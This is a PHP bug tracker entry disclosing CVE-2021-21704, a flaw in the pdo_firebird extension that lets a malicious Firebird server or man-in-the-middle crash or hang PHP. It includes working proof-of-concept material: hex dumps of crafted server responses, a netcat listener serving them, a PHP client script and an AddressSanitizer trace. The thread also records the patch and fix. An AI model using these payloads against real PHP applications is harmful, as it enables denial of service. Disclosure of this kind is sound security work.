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Sec Bug #76450 SIGSEGV in firebird_stmt_execute
Submitted: 2018-06-11 20:02 UTC Modified: 2021-06-28 04:40 UTC
From: trichimtrich at gmail dot com Assigned: stas (profile)
Status: Closed Package: PDO Firebird
PHP Version: 7.3.0alpha1 OS:
Private report: No CVE-ID: 2021-21704
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 [2018-06-11 20:02 UTC] trichimtrich at gmail dot com
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or
man-in-the-middle attacker to crash PHP.

bug in the result parsing of "exec procedure" in statement query. the response is not validated before caculation leads to crash or hang php forever.

Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_statement.c:
  134  				if (result[0] == isc_info_sql_records) {
  135: 					unsigned i = 3, result_size = isc_vax_integer(&result[1], 2);
  136  					while (result[i] != isc_info_end && i < result_size) {
  137: 						short len = (short) isc_vax_integer(&result[i + 1], 2);
  138  						if (result[i] != isc_info_req_select_count) {
  139: 							affected_rows += isc_vax_integer(&result[i + 3], len);
  140  						}
  141  						i += len + 3;

result_size is not verified
len uses short type, that we can set len = -3 and make PHP hangs
forever.


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd stmt_exec_procedure.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0008 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f feff 0000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0000 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................


$ nc -lvp 3050 < stmt_exec_procedure.bin

$ cat fire_stmt_exec.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$sql = "EXECUTE PROCEDURE test_proc 123";
$query = $dbh->prepare($sql);
$query->execute();
?>

Expected result:
----------------
No crash
No hang

Actual result:
--------------
$ ./php fire_stmt_exec.php
ASAN:DEADLYSIGNAL
=================================================================
==5413==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd68135687 (pc 0x000000cdbf9d bp 0x7ffd6812c1b0 sp 0x7ffd6812c060 T0)
    #0 0xcdbf9c in firebird_stmt_execute (/mnt/hgfs/share/htdocs/php+0xcdbf9c)
    #1 0xcc55eb in zim_PDOStatement_execute (/mnt/hgfs/share/htdocs/php+0xcc55eb)
    #2 0x12e1872 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e1872)
    #3 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #4 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #5 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #6 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #7 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #8 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #9 0x7f4208d6d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

SUMMARY: AddressSanitizer: stack-overflow (/mnt/hgfs/share/htdocs/php+0xcdbf9c) in firebird_stmt_execute
==5413==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-06-11 20:05 UTC] stas@php.net
-Assigned To: +Assigned To: lwe
 [2018-06-11 21:19 UTC] trichimtrich at gmail dot com
PoC hangs PHP

$ xxd stmt_exec_procedure.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0008 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f fdff 0000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0000 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
 [2018-06-28 08:31 UTC] trichimtrich at gmail dot com
any update for this one?
 [2021-04-30 12:12 UTC] cmb@php.net
-Status: Assigned +Status: Verified -Assigned To: lwe +Assigned To: cmb
 [2021-05-05 12:54 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2021-05-05 12:54 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/44a36b067a66f3770b914a7fa88e5086>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
 [2021-06-21 05:10 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2021-21704
 [2021-06-21 06:22 UTC] stas@php.net
-Private report: No +Private report: Yes
 [2021-06-28 04:41 UTC] git@php.net
Automatic comment on behalf of cmb69 (author) and smalyshev (committer)
Revision: https://github.com/php/php-src/commit/bcbf8aa0c96d8d9e81ec3428232485555fae0b37
Log: Fix #76450: SIGSEGV in firebird_stmt_execute
 [2021-06-28 04:41 UTC] git@php.net
-Status: Verified +Status: Closed
 
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